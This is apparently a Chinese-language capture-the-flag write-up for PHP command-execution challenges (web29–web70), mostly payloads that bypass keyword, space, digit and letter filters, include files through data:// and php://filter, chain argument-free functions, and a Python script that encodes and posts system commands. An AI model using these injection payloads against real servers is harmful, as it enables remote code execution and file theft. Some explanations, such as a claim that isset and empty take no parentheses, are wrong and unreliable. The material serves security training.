web29 文件名過濾
由于flag被過濾,需要進行文件名繞過,有以下幾種方法:
1.通配符繞過 fla?.*
2.反斜杠繞過 fl\ag.php
3.雙引號繞過 fl’‘ag’'.php
還有特殊變量$1、內聯執行等
此外 讀取文件利用cat函數,輸出利用system、passthru 、echo
echo `nl fl''ag.php`;
echo `cat fl''ag.php`;
system("cat fl*");
system("tail fla*");
passthru('cat fl?g.*');
**web30:**命令執行,需要嚴格的過濾
system不能使用,使用passthru、echo等 flag,php過濾繼續用通配符繞過
passthru('cat fl?g.*');
echo `cat fl''ag.*`;
web31:
可以使用使用空格繞過(%09) 也可也使用&拼接使用eval函數可以使用POST和GET其實一樣的
也可以使用反字節符號配合echo,執行的效果類似于system ,例如echo ls;
再利用tac加%20(空格)繞過空格和cat:(這里%20不行,可以用%09制表符)
.被過濾,則直接采用*,*表示多個字符,?表示一個字符
echo(`ls`);
?c=echo(`tac%09fla*`);
?c=passthru("tac%09fla*");
?c=passthru("more%09f*");
web32:
繞過思路:過濾了system,echo,這里可以使用passthru,但是這次還過濾了括號,所以passthru也沒有辦法用,這里使用文件包含,通過php://filter協議進行讀取文件
無法使用分號,可以使用php中的?>進行繞過,空格用%0a繞過
1.使用include文件包含函數上傳一句話木馬
使用data偽協議,得到目錄名
data偽協議: data://text/plain,php執行命令
?c=include%0a$_GET[1]?>&1=data://text/plain,<?php system('ls');?> c=include%0a$_GET[1]?>
include:這是 PHP 里的一個語句,其作用是將指定文件的內容包含到當前文件中并執行
。
%0a:這是 URL 編碼,代表換行符 \n。在構造惡意代碼時,用換行符能讓代碼更符合 PHP 的語法規范。$_GET[1]:$_GET 是 PHP 中的一個超全局數組,用于獲取通過 GET 請求傳遞的參數。$_GET[1] 表示獲取名為 1 的 GET 參數的值。?>:這是 PHP 代碼塊的結束標記。綜合起來,c 參數的內容本質上是一段 PHP 代碼,其功能是包含并執行通過 $_GET[1] 獲取到的文件內容。&1=data://text/plain,<?php system('ls');?>&:在 URL 里,& 是用于分隔不同參數的符號。1=:表示參數名為 1。data://text/plain:這是 PHP 的偽協議,
data:// 允許你直接在 URL 中嵌入數據。text/plain 表明數據的 MIME 類型為純文本。
<?php system('ls');?>:這是一段 PHP 代碼,system 函數用于執行系統命令,這里執行的是 ls 命令,其作用是列出當前目錄下的文件和文件夾。<?php system("tac flag.php");?> 直接讀取文件信息
知識點:php中不需要使用括號的函數:
1. include 和 require
這兩個函數用于包含和執行指定的文件。它們可以在沒有括號的情況下使用:
include 'file.php'; // 可以不使用括號
require 'file.php'; // 可以不使用括號
2. echo 和 print
這兩個語言結構用于輸出內容。它們可以在沒有括號的情況下使用:
echo 'Hello, World!'; // 可以不使用括號
print 'Hello, World!'; // 可以不使用括號
3. isset 和 empty
這兩個函數用于檢查變量的狀態。它們也可以在沒有括號的情況下使用:
if isset($var) { // 可以不使用括號// 代碼
}
if empty($var) { // 可以不使用括號// 代碼
}
4. list
list 結構用于將數組中的值賦給變量。它可以在沒有括號的情況下使用:
list($a, $b) = array(1, 2); // 需要括號,但可以在賦值時不使用
5. exit 和 die
這兩個函數用于終止腳本的執行。它們可以在沒有括號的情況下使用:
exit; // 可以不使用括號
die; // 可以不使用括號
php://filter/read=convert.base64-encode/resource=flag.php #偽協議
這個偽協議的作用是讀取 flag.php 文件的內容,并將其進行 Base64 編碼后返回。例如,在 PHP 代碼中使用這個偽協議:php://filter 偽協議 它允許你在讀取或寫入文件時對數據進行過濾和轉換
基本語法如下:
php://filter/[讀|寫操作]/[過濾器鏈]/resource=[文件名]
讀 | 寫操作:可以是 read(讀取數據時過濾) 或 write(寫入數據時過濾)
過濾器鏈:由一個或多個過濾器組成,多個過濾器之間用 | 分隔。
文件名:要操作的文件的名稱。convert.base64-encode 過濾器
convert.base64-encode 是 php://filter 支持的一個過濾器,它的作用是將讀取的數據進行
Base64 編碼。Base64 編碼是一種將二進制數據轉換為 ASCII 字符的編碼方式,常用于在文本協議中傳輸二進制數據
**web33:**多了個雙引號 和上面的題一樣
web34:同web33
**web35:**同web33
?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php?c=include$_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>?c=include$_GET[cmd]?>&cmd=data://text/plan;base64;PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
#到這里有三種方法可以使用
**web36:**同web33 在前面的基礎上,過濾了數字
這里過濾了數字0-9 還是可以使用上面的PayLoad只要傳參的不是數字就行
?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php?c=include$_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>
**web37:**多了個 include($c)。且過濾flag;
將指定文件的內容包含到當前文件里并執行
繞過思路:文件包含常用攻擊手法,偽協議讀取文件內容
data://text/plain,<?php system("tac *.php");?>
?c=data://text/palin,<?php system("tac f*");?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZioiKTs/Pg==
web:38: 同web37 多了過濾php.
繞過思路:加密
**web39:**變量 $c 的值與 .php 拼接后的文件路徑所對應的文件內容包含進來
繞過思路:注釋后面代碼,或者去掉.php 在拼接
使用#注釋符注釋掉即可
data://text/plain,<?php system("cat fla?.*");?>#
data://text/plain,<?php system('cat *.php')?>#發現不使用#也能訪問,因為?>就代表了語句的結束
data://text/plain,<?php system('cat *.php')?>
去掉php
?c=data://text/palin,<?=system("tac f*");?>
?c=data://text/palin,<?php system("tac f*");?>
web40:
過濾了引號、$、冒號,還不能用偽協議
一般括號里參數都要用引號,這里學習一下無參數RCE(remote command/code execute)
https://www.freebuf.com/articles/system/242482.html
無參數的意思可以是a()、a(b())或a(b(c())),但不能是a(‘b’)或a(‘b’,‘c’),不能帶參數。
print_r(scandir(‘.’));查看當前目錄下的所有文件名
localeconv() 函數返回一包含本地數字及貨幣格式信息的數組。
current() 函數返回數組中的當前元素(單元),默認取第一個值,pos是current的別名 ,讀取目錄文件后,發現輸出的是數組,而文件名是數組中的值,下一步我們需要取出想要讀取文件的數組.
scandir() 函數用于列出指定目錄中的文件和文件夾
each() 返回數組中當前的鍵/值對并將數組指針向前移動一步
end() 將數組的內部指針指向最后一個單元
next() 將數組中的內部指針向前移動一位
prev() 將數組中的內部指針倒回一位
pos() 同 current() ,是current()的別名
reset() 函數返回數組第一個單元的值,如果數組為空則返回 FALSE
array_reverse():數組逆序array_flip()是交換數組的鍵和值
show_source() 函數用于讀取并高亮顯示指定文件的源代碼
payload print_r(scandir(current(localeconv())));頁面返回
Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )
其中,[0] 位置的 . 代表當前目錄,[1] 位置的 .. 代表父目錄。[2] => flag.php存在一個名為 flag.php 的 PHP 文件。[3] => index.php PHP 文件show_source(next(array_reverse(scandir(current(localeconv())))));
方法2:則嘗試利用全局變量
需要用到get_defined_vars()函數 返回所有已定義的變量所組成的數組
執行以下代碼c=print_r(get_defined_vars()); 獲取已定義的變量所組成的數組
[_GET] => Array ( [c] => print_r(get_defined_vars()); )
$_GET 是 PHP 中的一個超全局數組,用于存儲通過 HTTP GET 請求傳遞的參數。在這個數組里,有一個鍵為 c 的元素,其值是 print_r(get_defined_vars());。這表明在當前的 GET 請求中,傳遞了一個名為 c 的參數,且參數值為 print_r(get_defined_vars());。通常在存在代碼注入漏洞的應用中,攻擊者會利用這種方式傳遞惡意代碼,嘗試讓服務器執行。[_POST] => Array ( )
$_POST 同樣是 PHP 的超全局數組,用于存儲通過 HTTP POST 請求傳遞的參數。這里該數組為空,意味著當前請求沒有通過 POST 方式傳遞任何參數。[_COOKIE] => Array ( )
$_COOKIE 是用于存儲客戶端發送的 cookie 信息的超全局數組。此數組為空,說明客戶端在本次請求中沒有發送任何 cookie。[_FILES] => Array ( )
$_FILES 是 PHP 中用于處理文件上傳的超全局數組。這里為空,表明當前請求沒有包含文件上傳操作。[c] => print_r(get_defined_vars());
這表明在當前作用域內定義了一個名為 c 的變量,其值為print_r(get_defined_vars());。這個變量可能是從 $_GET 數組中提取出來并賦值的,也可能是在其他代碼邏輯中定義的
執行:?cmd=system(“ls”);&c=print(pos(pos(get_defined_vars())));
先傳入cmd,pos表示返回第一行內容。返回
?cmd=system(“tac flag.php”);&c=eval(pos(pos(get_defined_vars())));
web41:
繞過思路:把數字和字母都給過濾了,這里的思路是構造system(“ls”),但是字母被過濾。沒有過濾“|”,利用它構造。
按照提示里面的內容操作,命令執行起來存在點小問題。需要SSL證書。
可參考:https://blog.csdn.net/Myon5/article/details/139544869
最后換了一種操作。
原文在這:https://blog.csdn.net/longl_guyu/article/details/140551134
新建一個py丟進去,執行的時候 添加URL就行
import re
import urllib
from urllib import parse
import requests# 初始化一個列表來存儲編碼后的字符信息
contents = []# 遍歷所有可能的ASCII字符(從0x00到0xFF)
for i in range(256):for j in range(256):# 將整數i和j轉換為兩位的十六進制字符串(如:'00'到'ff')hex_i = '{:02x}'.format(i)hex_j = '{:02x}'.format(j)# 編譯一個正則表達式,用于檢測需要特殊處理的字符preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)# 如果當前字符是需要特殊處理的字符,則跳過本次循環if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):continue# 否則,將字符轉換為百分號編碼格式(如:'%20'代表空格)a = '%' + hex_ib = '%' + hex_j# 計算兩個十六進制值按位或運算的結果,并確保結果是一個可打印的字符c = chr(int(a[1:], 16) | int(b[1:], 16))# 只保留ASCII碼在32到126之間的字符(即可打印字符)if 32 <= ord(c) <= 126:contents.append([c, a, b]) # 將字符、其百分號編碼形式以及備用編碼形式添加到列表中# 定義一個函數,用于生成payload
def make_payload(cmd):payload1 = '' # 初始化第一個payload字符串payload2 = '' # 初始化第二個payload字符串# 遍歷給定命令的每一個字符for char in cmd:# 在contents列表中查找與當前字符匹配的項for item in contents:if char == item[0]: # 如果找到了匹配的項payload1 += item[1] # 添加其百分號編碼形式到payload1payload2 += item[2] # 添加其備用編碼形式到payload2break # 找到匹配項后跳出循環# 返回一個字符串,其中包含了原始的和備用的十六進制編碼,以括號包圍return '("' + payload1 + '"|"' + payload2 + '")'# 獲取用戶輸入的URL
URL = input('url:')# 創建payload,首先對'系統'命令進行編碼,然后對'cat flag.php'命令進行編碼
payload = make_payload('system') + make_payload('cat flag.php')# 發送POST請求到指定的URL,數據中包含編碼后的payload
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)}, verify=False)# 輸出服務器的響應文本
print(response.text)
web42:
表示get方式輸入c 會在c后添加 >/dev/null 2>&1 ,再放入system()函數中。可通過“;”進行截斷,回顯出flag.
/dev/null 2>&1是一個 shell 重定向操作,命令的標準輸出(stdout)和標準錯誤(stderr)都被重定向到 /dev/null,即被丟棄,就是指,無論有輸出還是沒有輸出,都不會回顯。所以,我們在輸入時可以使 >/dev/null 2>&1被注釋或者不執行。
操作系統的鏈接符:
?c=ls| |把前面命令的輸出當作后面那條命令的參數,最終只顯示最終結果
?c=ls|| ||前面命令成功,后面命令不執行;前面不成功,后面命令執行
?c=ls& &兩條命令都會執行
?c=ls&& &&前一條命令執行成功,才會執行后面
?c=ls; ;分為多條語句按序執行
再將命令換為cat flag.php; 即可
注:使用 && 和&,需要進行url編碼。
cat flag.php||
cat flag.php%;
cat flag.php%26%26
**web43:**在上一題的基礎上過濾了cat ;
不能使用;,使用其他的符號,tac替代cat訪問文件內容
|| :分隔符前面命令成功,后面命令不執行
%0a:URL 編碼后的換行符
%26%26: 是 URL 編碼后的 && 符號
cat flag.php||
cat flag.php%0a
cat flag.php%26%26
**web44:**在上一題的基礎上過濾了flag;
我們可以使用*或者???繞過。
tac *.php||
tac fla?.php%0a
more fla?.php%0a
**web45:**在上一題的基礎上過濾了空格:
嘗試使用url編碼空格:%0a,無法繞過。
嘗試換行符的url編碼%09,成功繞過得到flag。
${IFS}:也可以繞過對空格的過濾
c=more%09fla?.php||
c=tac%09fla?.php%0a
c=more${IFS}f*%0a
**web46:**在上一題的基礎上過濾了數字 * &:
還可以使用?:
more%09fla?.php||
tac%09fla?.php||
tac%09fla?.php%0a
**web47:*在上一題的基礎上過濾幾個用于顯示的函數
這里是通過”>/dev/null 2>&1”把輸出的內容不進行回顯,“;”也被過濾了,我們使用命令分隔符“||”進行截斷,過濾了flag,用通配符繞過,多過濾了空格,%09繞過。過濾了,用“?”代替。又多過濾了幾個讀取文件的命令,繼續使用上題的payload,tac沒有過濾。
tac%09fla?.php||
tac%09fla?.php%0a
cat:用于按正常順序查看文件內容或合并文件。
tac:用于反向查看文件內容,即從文件末尾開始逐行輸出
web48: 同上題:只是多了幾個參數
tac%09fla?.php||
tac%09fla?.php%0a
cat:用于按正常順序查看文件內容或合并文件。
tac:用于反向查看文件內容,即從文件末尾開始逐行輸出
web49: 同上題:只是多了幾個參數
tac%09fla?.php||
tac%09fla?.php%0a
cat:用于按正常順序查看文件內容或合并文件。
tac:用于反向查看文件內容,即從文件末尾開始逐行輸出
web50:
%09不能使用了,使用其他方法進行空格繞過,例如重定向字符 < 、<>
使用?,被過濾。使用‘’或者“”防止flag被過濾。
?c=tac<fla’'g.php||
<:用于將文件內容作為命令的輸入,常用于那些通常從標準輸入讀取數據的命令。
<> :用于以讀寫模式打開文件,允許命令對文件進行讀取和修改操作。
?c=tac<fla''g.php||
?c=tac<>fla''g.php||
?c=tac<>fla""g.php||
**web51:*同上題:
繞過思路:這里是通過”>/dev/null 2>&1”把輸出的內容不進行回顯,“;”也被過濾了,我們使用命令分隔符“||”進行截斷,過濾了flag,用通配符繞過,多過濾了空格,%被過濾,%09無法繞過,使用<>進行繞過。過濾了,用“?”代替,但是讀不出來,使用“\”繞過。又多過濾了幾個讀取文件的命令,tac也給過濾了,我們使用nl或者ta\c進行繞過。
?c=ta\c<fla''g.php||
?c=t''ac<>fla''g.php||
?c=t""ac<>fla""g.php||
nl<fla''g.php||
nl:主要功能是對文件內容進行編號并輸出
web52:
繞過思路:這里是通過”>/dev/null 2>&1”把輸出的內容不進行回顯,“;”也被過濾了,我們使用命令分隔符“||”進行截斷,過濾了flag,用通配符繞過,多過濾了空格,%被過濾,%09無法繞過,<>也被過濾了無法進行繞過,使用${IFS}繞過。過濾了*,用“?”代替,但是讀不出來,使用“\”繞過。又多過濾了幾個讀取文件的命令,tac也給過濾了,我們使用nl或者ta\c進行繞過
?c=ta\c${IFS}/fla''g||
?c=nl${IFS}/fla\g%0a
${IFS} 能替代空格的作用
web53: 跟上一樣,只是不用截斷
?c=nl${IFS}fla?.php
?c=ca\t${IFS}fla\g.php
?c=nl${IFS}fla\g.php
**web54:*以下讀取文件命令以及一些符號不能使用
繞過思路:過濾了flag,用通配符繞過,多過濾了空格,%被過濾,%09無法繞過,<>也被過濾了無法進行繞過,使用${IFS}繞過。過濾了,用“?”代替。又多過濾了幾個讀取文件的命令,tac也給過濾了,無法使用ta\c進行過濾了。所以這里我們使用grep.在flag.php中查找帶有show字符串的一行(因為flag的格式為ctfshow{})
替代cat讀取文件內容的函數:
tac 從最后一行往前顯示
more 一頁一頁顯示內容
less 相當于more
tail 查看末尾幾行
nl 顯示時加上行號
od 以二進制方式讀取
xxd 左邊顯示二進制,右邊顯示編碼
sort 用于排序文件
paste:是將多個文件按列合并后輸出。
grep:文本搜索工具
?c=xxd${IFS}fla?.php
?c=paste${IFS}fla?.php
?c=grep${IFS}show${IFS}fl?g.php
web55:過濾了;|小寫字母|`|%|\x09(空格)|\x26(&)|<|>
因為過濾了字母,有一個含數字的base64命令可以讀文件,用通配符繞過字母,在/bin目錄下,使用/???/???64
?c=/bin/base64 flag.php(flag.php全靠猜)
即?c=/???/???64 ???.???
web56:該題還過濾了數字,無法使用上題的方法,只能使用臨時文件上傳
繞過思路:無字母數字webshell。在linux shell中,.可以用當前的shell執行一個文件中的命令,比如.file就是執行file文件中的命令。所以本題可以post上傳一個包含命令的文件,然后通過.來執行文件中的命令即可讀到flag。
首先先寫一個腳本.記得把url給改掉
<!DOCTYPE html>
<html>
<body>
<form action="http://d5fb2a5e-8342-4737-805f-0538c243b172.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data"><input type="file" name="file" /><input type="submit" value="submit" />
</form>
</body>
</html>
啟動phpstudy服務 把弄好的腳本文件丟進去。執行
打開burp進行抓包 改一下 畫框的內容
?c=.%20/???/????????[@-[]glob支持利用[0-9]來表示一個范圍,所以我們可以用[A-Z]來匹配文件的最后一位,但因為過濾了字母,需要把A改為A的前一位@,把Z改為Z的后一位[來匹配大寫字母為什么要匹配大寫字母,因為其實用/???/?????????匹配到的其他文件都是小寫字母,只有php臨時生成的文件才包含大寫字母,不過因為是隨機生成的大寫字母,不一定每次都是大寫,可以多試幾下
web57:
看注釋可以發現flag在36.php里面,然后又因為.php已經在system里面的,所以這回就只需要構造一下36這個數
$(()) 這個代表-1
$((~37)) 這個代表(37取反)-1,即36
$(())$(()) 這個代表-1-1,即-2
另外取反的操作優先級是低于$(())的
所以這里:
$((~$(())$(()))) 即((-1-1)取反)-1,即1
要構造36即36個1加起來就行了:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))即:
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))雙小括號 (( )) 是 Bash Shell 中專門用來進行整數運算的命令,它的效率很高,寫法靈活,是企業運維中常用的運算命令。通俗地講,就是將數學運算表達式放在((和))之間。 表達式可以只有一個,也可以有多個,多個表達式之間以逗號,分隔。對于多個表達式的情況,以最后一個表達式的值作為整個 (( ))命令的執行結果。 可以使用$獲取 (( )) 命令的結果,這和使用$獲得變量值是類似的。 可以在 (( )) 前面加上$符號獲取 (( )) 命令的執行結果,也即獲取整個表達式的值。以 c=$((a+b)) 為例,即將 a+b 這個表達式的運算結果賦值給變量 c。 注意,類似 c=((a+b)) 這樣的寫法是錯誤的,不加$就不能取得表達式的結果。
如果說要構造36,在相應位置輸入37,即可構造出36.
data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)
web58:改用post方式
eval函數的作用是獲取返回值,所以傳入導eval中的數據需要是一個有返回值的函數
先總結一下知識:
查看當前目錄整體地址:
c=print_r(scandir('./'));
c=var_dump(scandir('./'));
c=print_r(scandir(dirname('__FILE__')));
c=print_r(scandir(current(localeconv())));
c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };查看根目錄:
c=print_r(scandir("/"));
c=var_dump(scandir('/'));
c=var_export(scandir('/'));
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}通過單一函數讀取文件:
c=show_source('flag.php');
c=echo file_get_contents("flag.php"); // 這個要看源代碼
c=readfile("flag.php"); // 這個要看源代碼
c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));// file函數表示把整個文件讀入一個數組中
通過fopen讀取文件內容:
fread()
fgets() // 一行一行的讀取
fgetc() // 一個一個的讀取
fgetss()
fgetcsv()
fpassthru()
// 這些都是與fopen函數配合使用的
總結一下payload(一些用不了就換一些就行了)
feof():用于檢測是否已到達文件末尾,到達返回1
fgets():一行一行的讀取
fgetc():一個一個的讀取
fgetss():從打開的文件中返回一行,并過濾掉 HTML 和 PHP 標簽 // 只適用于php7.3之前版本
fgetcsv():函數從打開的文件中解析一行,校驗 CSV 字段(逗號分隔值)
var_dump():顯示關于一個或多個表達式的結構信息,數組將遞歸展開值,通過縮進顯示其結構
fread():讀取打開的文件,有兩個參數,前者為要讀取的文件,后者為讀取最大字節
fpassthru():從打開文件的當前位置開始讀取所有數據,直到文件末尾(EOF),并向輸出緩沖寫結果
localeconv():返回一個包含本地數字及貨幣格式信息的數組
current():輸出數組中的當前元素的值
scandir():列出目錄中的文件和目錄
array_reverse():返回翻轉順序的數組 // 因為current讀取的最前面時根目錄,有用的信息一般在后面
show_source():用于讀取指定文件的內容,并以 HTML 格式輸出,同時對代碼進行語法高亮顯示。其本質是調用了 highlight_file() 函數,二者功能相似。
highlight_file():同樣是讀取指定文件的內容,以 HTML 格式輸出并對代碼進行語法高亮顯示。此外,它還會返回處理后的 HTML 代碼字符串,而 show_source() 直接輸出結果,不返回值高亮顯示php文件
c=show_source("flag.php");
c=highlight_file("flag.php");
c=highlight_file(next(array_reverse(scandir(current(localeconv())))));一些好用的payload
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;} //源代碼
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;} //源代碼
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}c=file_get_contents("flag.php");
c=var_dump(file("flag.php"));
c=$a=fopen("flag.php","r");echo fpassthru($a); // 源代碼
c=$a=fopen("flag.php","r");echo fread($a,"1000"); // 源代碼$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;} // php<7.3同時也可以通過復制、重命名來讀取php文件內容。在執行完后只需要訪問改文件就可以了
copy() // 復制
rename() // 重命名c=copy("flag.php","1.txt"); // 復制為1.txt
c=rename("flag.php","1.txt"); // 重命名為1.txt
調用 system 函數,發現函數被禁用。可以調用上面的payload,很有意思
找文件
c=print_r(scandir(pos(localeconv())));
c=print_r(scandir("./"));
c=print_r(scandir("/"));
c=print_r(scandir("../"));看文件
c=show_source('flag.php');
c=highlight_file('flag.php');
c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
c=copy("flag.php","flag.txt");
c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=print_r(file("flag.php"));
web59:同上:
web60:同上
web61:同上
web62:同上
web63:同上
web64:同上:
web65:同上
web66:
web67:同上
web68:直接告訴你不能用highlight_file()
目錄掃描:
c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };opendir("./"):這個函數的作用是打開當前目錄(. 表示當前目錄),并且返回一個目錄句柄,將其賦值給變量 $a。readdir($a):它會從由 $a 所代表的目錄句柄里讀取下一個文件或目錄的名稱。當讀取到目錄末尾時,會返回 false。while (($file = readdir($a)) !== false):這是一個循環結構,只要 readdir($a) 不返回 false,就會持續循環。在每次循環中,把讀取到的文件名賦值給變量 $file。
echo $file . "<br>";:將讀取到的文件名輸出,并且在文件名后面添加一個 HTML 換行標簽 <br>c=include('flag.php'); echo $flag;include('flag.php'):這個函數會把 flag.php 文件的內容包含到當前文件中執行。通常情況下,flag.php 文件可能會定義一些變量或者函數。echo $flag;:嘗試輸出 $flag 變量的值。一般來說,$flag 變量應該是在 flag.php 文件中定義的,可能包含敏感信息。
在掃掃別的看看
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };c=include('/flag.txt');
web69:同上
web70:同上:多禁用了幾個參數
掃描目錄 改一下就可以
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };c=include('/flag.txt')